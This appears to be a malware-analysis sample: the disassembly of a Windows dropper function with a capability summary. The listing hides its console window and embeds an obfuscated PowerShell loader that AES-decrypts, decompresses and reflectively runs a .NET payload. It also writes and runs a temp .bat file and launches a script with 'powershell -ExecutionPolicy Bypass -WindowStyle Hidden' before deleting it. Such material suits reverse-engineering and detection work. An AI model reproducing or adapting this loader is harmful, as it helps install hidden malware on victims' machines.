Function at 0x1d65f15c9
Capabilities:
Delete file
Execute command
Hide graphical window
Set registry value

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x420
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.1d668db60
mov ecx, 0x2d083
call sym.operator_new___unsigned_long_long_
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov rcx, rax
lea rax, str.set__tXJkLo__r_nset__rteDnvo__r_nset__XvgDlect__r_nset__NMnWbyp__r_nset__Ergdprof__r_nset__TqKoIPgqzxrHcazTYpcLecho_function_decryp__r_nset__gUoxFFORRJGLiQpcnuBCt_function__param_va__r_nset__mNdAdzANmuXppvWZbmIdr__t_aes_var_System__r_nset__aozPRGymLwGENzytQOug.Security.Cryptograp__r_nset__ebEwMqwNTqbaMyCYnoJxhy.Aes_::Create____t___r_nset__aobQOtBPWDinSCYYKcdAaes_var.Mode_System__r_nset__kLsvvFRpXAfBfWfPZOIs.Security.Cryptograp__r_nset__PGQqhNikzEnlkjnpWGujhy.CipherMode_::CBC___r_nset__BmSwxHiVwjYVtKKDUboH_t_aes_var.Padding_S__r_nset__wHQtmTrVJQSttzQDNuTzystem.Security.Crypt__r_nset__FnNqFsRzyJuVsMMUwzjDography.PaddingMode___r_nset__qmmGqFCUUhPAhObjUANU::PKCS7__t_aes_var.Ke__r_nset__cRxZvXaGNWhokpjtagZZy_System.Convert_::__r_nset__QXFrTTNEKCZVLpBzOmls_gnirtS46esaBmorF___r_nset__FVgXaBpSEIiOANeelgfB_1.._16___join_____r_nset__jwVkWlCVOKFOVGuURHqsEtBCiC7hn4AC_wbb4PnT__r_nset__EVZctlvYkwnIgJjjZVbPXo0m1Gi2_N7282lM8lTN__r_nset__YteTduSTsjnDPNXowTRKoOM___t_aes_var.IV__r_nset__PEKrxWHlxlVVGBtkRfZZ_System.Convert_::___r_nset__tCFbjKStLUMgeqZuIMwggnirtS46esaBmorF__1__r_nset__MGvhosWntNxqTSrnZJiN.._16___join___Ge__r_nset__doACzOQpCZBeJTmMgxMQoBTPHKKcnkifbca14mnw__r_nset__NFZYxwnmZMvYEJcygTIz___t_decryptor_var__r_nset__BGLulsHZFFgBXrZypBfd_aes_var.CreateDecr__r_nset__BEqPECAZQOFnPnpgTEMeyptor____t_return_var__r_nset__OnGtFTbmKDiENEXWqWQI_decryptor_var.Tran__r_nset__SIiRZTLKcTFLPaooYWjKsformFinalBlock__par__r_nset__AopnFbzkpsQXNemgeOtMam_var__0___param_va__r_nset__irjQYxPNqJXtMgiEsVlYr.Length___t_decrypto__r_nset__tAuJcIXLOhkkDxCjeypir_var.Dispose____t_ae__r_nset__lMUFvxkHWHNiCutHWANps_var.Dispose____t_re__r_nset__zeYizNQpDYAUGdNGFPoFturn_var_function_d__r_nset__xpOgtbHidUmDKZIhNLfHecompress_function____r_nset__HVdXhTCzHMbhlhSkpSOyparam_var__t_mRFSNN__r_nset__gHlIMWjGuGTUJGYBlRZAew_Object_System.IO.__r_nset__yhArTerDhyRVXHBZKvkkMemoryStream___param__r_nset__KVfbThyEjqYxSoZYhTPI_var___t_eWNZSNew_Ob__r_nset__EGzVOXWbfZQQHOPCczyLject_System.IO.Memor__r_nset__GNtQAucIHCSRFCGewjnVyStream__t_ZeEhJNew___r_nset__kwzjzhPezxWIuebRmIvuObject_System.IO.Com__r_nset__UotDhZlfiKfSmCAknkqtpression.GZipStream___r_nset__EYjkGjwBAOSNOTaWcVcA_mRFSN___IO.Compress__r_nset__VKWOrdwRDRDbscPWfjXXion.CompressionMode___r_nset__CKFtSsesCEhsiQxUcuTC::Decompress___t_ZeEh__r_nset__NEXJlQvMdeQTYeXleCWZJ.CopyTo__eWNZS___t_Z__r_nset__YdpYJlTBEUULpujYMWibeEhJ.Dispose____t_mRF__r_nset__WspxNotdSmPzxUDKoYZZSN.Dispose____t_eWNZS__r_nset__XThikfDEUZyiuVcGNRlu.Dispose____t_eWNZS.T__r_nset__SPJsfvnvQyJOWidclgnHoArray___function_e__r_nset__LPiTNGeBRXXwNFhhkOdOxecute_function__par__r_nset__RiNwpKmlRavGEDJcGPFyam_var__param2_var___r_nset__qMDTBmaqbWRwdyQDcMDd_t_TJUQl_System.Refl__r_nset__uTJQCqSkWeBvjEyfETUdection.Assembly_::___r_nset__JVkViYCfMfaUlBdxcMrkdaoL__1.._4___join___r_nset__tQuXvwmyaKZiRAtyIOHD___byte____param_v__r_nset__NNxQdGjHBbdRCKJSAnAMar___t_WJdtk_TJUQl.E__r_nset__LefcgScLhEOnfNwGtETOntryPoint__t_WJdtk.In__r_nset__nFXYHhFhQBXvnVRJHvJlvoke__null___param2___r_nset__ExAWnPMPndzWtMzggguZvar___GBnSq___f0__r_nset__mUVGHsZjVNYYUHjPfbLS__host.UI.RawUI.Win__r_nset__vQUNbbcBvLCBaKYJCTpVdowTitle___GBnSq__u__r_nset__PCTzeBbLCJbfvCDwahFFgPyR_System.IO.File__r_nset__qyNkkwXkIAmlMQcSWuIA_::_txeTllAdaeR__1__r_nset__ZqZMJxgygCJuoJFrPJoH.._11___join____GB__r_nset__DRccxPtEzLAFzfGZybANnSq_.Split__Environm__r_nset__qzegQRXclLdmfaWinWpTent_::NewLine__forea__r_nset__eBZvcdVidFSNiBreNWlFch___ZqQvA_in__ugPyR__r_nset__SqtNHnzyjxMCMHJOzIdN___tif___ZqQvA.Start__r_nset__WOZGTqeEJRvqLJbNilNPsWith_BsxxeaztHhBGe__r_nset__DxZFSqaBSCFeSyIdrNUrkketWCs___t_t_t_WFWaQ__r_nset__jVPrcvRcGWFoUojyOtND_ZqQvA.Substring_20__r_nset__pCLgmqymbXvvrwFHIIDx___t_tbreak__t_payloa__r_nset__zYUWWqjEojoYZrbGjIfLds_var_string____WF__r_nset__XEbIAkXxIBQgPqerIPjVWaQ.Split____payl__r_nset__hTYRIwvZuZxZCSzUWlvMoad1_vardecompress___r_nset__tLVMthiJnKYuykEdGkadfunction__decrypt_fu__r_nset__PXcJeQEXQjuwuxBvYlxAnction___Convert_::___r_nset__nLMKadBrowoMlrWwJlICgnirtS46esaBmorF____r
mov edx, 0x2d083
mov r8, rdx
mov rdx, rax
call sym.memcpy
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1d669a090
mov dword [rbp + 0x39c], 0
jmp 0x1d65f16c3
lea rax, [rbp + 0x1a0]
add rax, 0x10
lea rdx, [method.std.hex_std::ios_base_]
mov rcx, rax
call method.std::ostream.operator___std::ios_base____std::ios_base__
mov rbx, rax
mov ecx, 2
call method.std.setw_int_
mov edx, eax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setw_
mov rbx, rax
mov ecx, 0x30
call method.std::_Setfill_char__std.setfill_char__char_
mov edx, eax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setfill_char__
mov rcx, rax
mov eax, dword [rbp + 0x39c]
movsxd rdx, eax
mov rax, qword [rbp + 0x390]
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
mov edx, eax
call method.std::ostream.operator___int_
add dword [rbp + 0x39c], 1
cmp dword [rbp + 0x39c], 0x2d082
jle 0x1d65f1651
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
mov rcx, rax
call method.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___.str___const
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x180]
mov r8, rdx
lea rdx, str._hex___
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x350]
lea rdx, [rbp + 0x370]
lea r8, [0x1d66df111]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x350]
lea rax, [rbp + 0x330]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x350]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x370]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x330]
lea rdx, str._temp_path___System.IO.Path_::GetTempPath___n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._file_name___System.IO.Path_::GetRandomFileName____.bat_n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._file_path___temp_path___file_name_n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._System.IO.File_::WriteAllBytes__file_path___byte_____hex__split__..___ne_______convert_::toint16_____16_____n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._exec__New_Object__com_shell.application__n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._exec.shellexecute__file_path___n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp - 0x60]
mov r8d, 0x10
lea rdx, str.calc.ps1
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x60]
add rax, 0xd8
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x1d65f1856
mov ecx, 0x20
call sym.__cxa_allocate_exception
mov rbx, rax
call method.std::_V2.generic_category__
mov rsi, rax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
call rax
mov eax, dword [rax]
lea r9, str.Failed_to_create_PowerShell_script_file
mov r8, rsi
mov edx, eax
mov rcx, rbx
call method.std::system_error.system_error_int__std::_V2::error_category_const__char_const_
mov r8, qword [method.std::system_error.system_error__]
lea rax, [0x1d66e7600]
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
lea rdx, [rbp + 0x330]
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rax, str.powershell__ExecutionPolicy_Bypass__WindowStyle_Hidden__File_calc.ps1
mov rcx, rax
call sym.system
lea rax, str.calc.ps1
mov rcx, rax
call sym.remove
cmp qword [rbp + 0x390], 0
je 0x1d65f18ac
mov rax, qword [rbp + 0x390]
mov rcx, rax
call sym.operator_delete___void_
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
lea rax, [rbp + 0x180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1d669ab70
lea rax, [rbp + 0x330]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1d65f1979
add rsp, 0x420
pop rbx
pop rsi
pop rbp
ret